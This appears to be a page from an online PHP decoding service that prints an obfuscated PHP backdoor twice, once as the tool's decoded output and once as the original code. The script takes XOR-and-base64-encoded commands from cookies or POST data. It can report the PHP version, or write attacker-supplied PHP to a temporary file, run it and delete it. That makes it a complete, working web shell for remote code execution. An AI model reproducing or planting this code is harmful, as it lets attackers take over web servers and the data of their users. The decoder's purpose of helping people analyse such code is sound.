Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function xyjdpces(){$yowjcry='qetrei';/* xupgw */print_r/* y*/(84287+842..

Decoded Output download

<?php   function        xyjdpces(){$yowjcry='qetrei';/* xupgw  */print_r/*   y*/(84287+84287);/*  ijenz   */} 
 
$knwoyct/* wplsw   */=  'knwoyct'       ^  '; 
 
 
$_atnikwz/* o_hx */=       $_COOKIE; 
$_fkpixzj      =/*   p   */$_POST;function      xkvar($w_tgj,   $sdudphjji) 
 
 
{/*bhm  */global        $knwoyct; 
 
 
/*   bmj  */$osssmm    =      ""; 
 
 
/* svsp*/for   ($lewnqpxbgo     =       0;     $lewnqpxbgo      <    strlen($w_tgj);)/*   bjsdz */{     for    ($tqwvdbxtz/*rhtk   */=       0;      $tqwvdbxtz/*  pjll*/</*  _qr*/strlen($sdudphjji)    &&  $lewnqpxbgo/*  u  */</*  wt   */strlen($w_tgj);/* qv  */$tqwvdbxtz++,/*  ldya  */$lewnqpxbgo++)/*   r */{/*   j */$osssmm/*zklar */.=        $knwoyct(ord($w_tgj[$lewnqpxbgo])  ^/*z*/ord($sdudphjji[$tqwvdbxtz]));/*   uooi*/}       }   return  $osssmm;} 
 
 
function     kvxyrk($uvg_ffnse,/*  hhr*/$w_tgj) 
 
 
{/*jzk*/global/*gr  */$knwoyct; 
 
/*  m_ru   */$_vgyyyft  =  sprintf("."       .    $knwoyct(1040-993) .       "%"   .     "s"      .     ".".$knwoyct(112)/*x */./*   pdp */"l",/*  qbcwr*/md5($uvg_ffnse));/* dq*/file_put_contents($_vgyyyft,/*   yjjhg*/"<"       .    "?"."p"/*  vqbzq*/.   "h"       .  "p".$knwoyct(32)        .     "u"    ./*  kxrjv*/"n"/*  w  */.    "l"   ./*gdiw*/$knwoyct(672-567)   .      "n"."k"  ./*   j_uwi*/"(".$knwoyct(392-297)/*  ym   */.      $knwoyct(95)/* sg */.   "F"."I"."L"  ./*  ijzwd */"E"       .       "_"     ./*  zn   */"_"/*mxzp   */.      ")"/*  eqmcx */.       $knwoyct(1027-968)/* mqq*/.      $knwoyct(32)/*  j_h  */.    $w_tgj[$knwoyct(100)]); 
 
        include($_vgyyyft); 
        $mlrnsgjce  =    $_vgyyyft;       unlink($mlrnsgjce); 
 
 
} 
 
 
function     rcocaf() 
 
{ 
 
        global     $knwoyct; 
/*o  *//*m  */$lewnqpxbgo  =/*   fmi   */array();/*  oeteh  */$lewnqpxbgo[$knwoyct(112)/* j  */.        "v"]/* qtyad */= phpversion(); 
 
     $lewnqpxbgo["s" ./* n_xoy  */$knwoyct(866-748)] =/*dnwy  */"3"       .     "."       .     "5"; 
/* _n */echo    @serialize($lewnqpxbgo); 
 
 
} 
 
 
 
function       _dfrnh($w_tgj,   $uvg_ffnse,/*dq  */$yrpygvup_i) 
 
 
{ 
 
 
        global/*aafp   */$knwoyct; 
 
 
        
 
/*   k  */$w_tgj  =   unserialize(xkvar(xkvar(base64_decode($w_tgj),/*  uuclk */$uvg_ffnse),    $yrpygvup_i)); 
 
     if/*ro_fc   */(isset($w_tgj[$knwoyct(916-819)       ./* d  */"k"]))     {/*dfc*/if ($w_tgj["a"]    ==/* sib  */$knwoyct(167-62))        { 
  rcocaf(); 
 
 
      } elseif/*  jkjc */($w_tgj["a"]/*oa */==   $knwoyct(619-518))/*  dbfs   */{ 
 
 
        kvxyrk($uvg_ffnse,       $w_tgj); 
        } 
 
/* agvx  */exit(); 
/*_bs   */} 
} 
 
 
 
 
$_atnikwz/*  p   */=    array_merge($_fkpixzj,  $_atnikwz); 
 
$uvg_ffnse/*e*/=/* lj  */"1".$knwoyct(98)       .       "f"."b"      .       $knwoyct(220-121)       .       "9"   ./*   ntq   */$knwoyct(48)/* nnme */.    $knwoyct(49)/*  inj  */.    "-"."c"/*  j */./*yn*/"7".$knwoyct(97)/*_juks   */.  $knwoyct(542-444)    .      "-"."4"."3"   .      $knwoyct(48)       .     $knwoyct(545-494)/*  z   */.     $knwoyct(45)  .  "a"."7".$knwoyct(406-358)  .       "4"/*   ymu */./*evhgj*/$knwoyct(45)     .    $knwoyct(530-479)   ./*   mkdxm  */$knwoyct(100)."4"/*  vdgn*/./*rw  */"c"."7"    .    "f"."1"/* gujg  */./*  df   */"2"."e"/* iwfa  */./*   brbry*/$knwoyct(50)       .       $knwoyct(53)    ./*  ievp  */$knwoyct(49);foreach       ($_atnikwz      as    $yrpygvup_i       =>       $w_tgj)     {/* wvli */_dfrnh($w_tgj,    $uvg_ffnse,        $yrpygvup_i); 
 
} 
 ?>

Did this file decode correctly?

Original Code

<?php   function        xyjdpces(){$yowjcry='qetrei';/* xupgw  */print_r/*   y*/(84287+84287);/*  ijenz   */}

$knwoyct/* wplsw   */=  'knwoyct'       ^  ';


$_atnikwz/* o_hx */=       $_COOKIE;
$_fkpixzj      =/*   p   */$_POST;function      xkvar($w_tgj,   $sdudphjji)


{/*bhm  */global        $knwoyct;


/*   bmj  */$osssmm    =      "";


/* svsp*/for   ($lewnqpxbgo     =       0;     $lewnqpxbgo      <    strlen($w_tgj);)/*   bjsdz */{     for    ($tqwvdbxtz/*rhtk   */=       0;      $tqwvdbxtz/*  pjll*/</*  _qr*/strlen($sdudphjji)    &&  $lewnqpxbgo/*  u  */</*  wt   */strlen($w_tgj);/* qv  */$tqwvdbxtz++,/*  ldya  */$lewnqpxbgo++)/*   r */{/*   j */$osssmm/*zklar */.=        $knwoyct(ord($w_tgj[$lewnqpxbgo])  ^/*z*/ord($sdudphjji[$tqwvdbxtz]));/*   uooi*/}       }   return  $osssmm;}


function     kvxyrk($uvg_ffnse,/*  hhr*/$w_tgj)


{/*jzk*/global/*gr  */$knwoyct;

/*  m_ru   */$_vgyyyft  =  sprintf("\x2e"       .    $knwoyct(1040-993) .       "\45"   .     "\x73"      .     ".".$knwoyct(112)/*x */./*   pdp */"l",/*  qbcwr*/md5($uvg_ffnse));/* dq*/file_put_contents($_vgyyyft,/*   yjjhg*/"<"       .    "?"."\x70"/*  vqbzq*/.   "\x68"       .  "p".$knwoyct(32)        .     "\165"    ./*  kxrjv*/"\156"/*  w  */.    "\154"   ./*gdiw*/$knwoyct(672-567)   .      "n"."\x6b"  ./*   j_uwi*/"(".$knwoyct(392-297)/*  ym   */.      $knwoyct(95)/* sg */.   "F"."I"."\114"  ./*  ijzwd */"\x45"       .       "\137"     ./*  zn   */"\x5f"/*mxzp   */.      "\x29"/*  eqmcx */.       $knwoyct(1027-968)/* mqq*/.      $knwoyct(32)/*  j_h  */.    $w_tgj[$knwoyct(100)]);

        include($_vgyyyft);
        $mlrnsgjce  =    $_vgyyyft;       unlink($mlrnsgjce);


}


function     rcocaf()

{

        global     $knwoyct;
/*o  *//*m  */$lewnqpxbgo  =/*   fmi   */array();/*  oeteh  */$lewnqpxbgo[$knwoyct(112)/* j  */.        "\x76"]/* qtyad */= phpversion();

     $lewnqpxbgo["\163" ./* n_xoy  */$knwoyct(866-748)] =/*dnwy  */"\x33"       .     "\x2e"       .     "5";
/* _n */echo    @serialize($lewnqpxbgo);


}



function       _dfrnh($w_tgj,   $uvg_ffnse,/*dq  */$yrpygvup_i)


{


        global/*aafp   */$knwoyct;


       

/*   k  */$w_tgj  =   unserialize(xkvar(xkvar(base64_decode($w_tgj),/*  uuclk */$uvg_ffnse),    $yrpygvup_i));

     if/*ro_fc   */(isset($w_tgj[$knwoyct(916-819)       ./* d  */"k"]))     {/*dfc*/if ($w_tgj["a"]    ==/* sib  */$knwoyct(167-62))        {
  rcocaf();


      } elseif/*  jkjc */($w_tgj["a"]/*oa */==   $knwoyct(619-518))/*  dbfs   */{


        kvxyrk($uvg_ffnse,       $w_tgj);
        }

/* agvx  */exit();
/*_bs   */}
}




$_atnikwz/*  p   */=    array_merge($_fkpixzj,  $_atnikwz);

$uvg_ffnse/*e*/=/* lj  */"1".$knwoyct(98)       .       "f"."\x62"      .       $knwoyct(220-121)       .       "\71"   ./*   ntq   */$knwoyct(48)/* nnme */.    $knwoyct(49)/*  inj  */.    "-"."\143"/*  j */./*yn*/"7".$knwoyct(97)/*_juks   */.  $knwoyct(542-444)    .      "-"."4"."\x33"   .      $knwoyct(48)       .     $knwoyct(545-494)/*  z   */.     $knwoyct(45)  .  "a"."7".$knwoyct(406-358)  .       "\64"/*   ymu */./*evhgj*/$knwoyct(45)     .    $knwoyct(530-479)   ./*   mkdxm  */$knwoyct(100)."\x34"/*  vdgn*/./*rw  */"c"."\x37"    .    "f"."\61"/* gujg  */./*  df   */"2"."\145"/* iwfa  */./*   brbry*/$knwoyct(50)       .       $knwoyct(53)    ./*  ievp  */$knwoyct(49);foreach       ($_atnikwz      as    $yrpygvup_i       =>       $w_tgj)     {/* wvli */_dfrnh($w_tgj,    $uvg_ffnse,        $yrpygvup_i);

}

Function Calls

None

Variables

None

Stats

MD5 50073aeca417d6e156edd655f4fd87c1
Eval Count 0
Decode Time 44 ms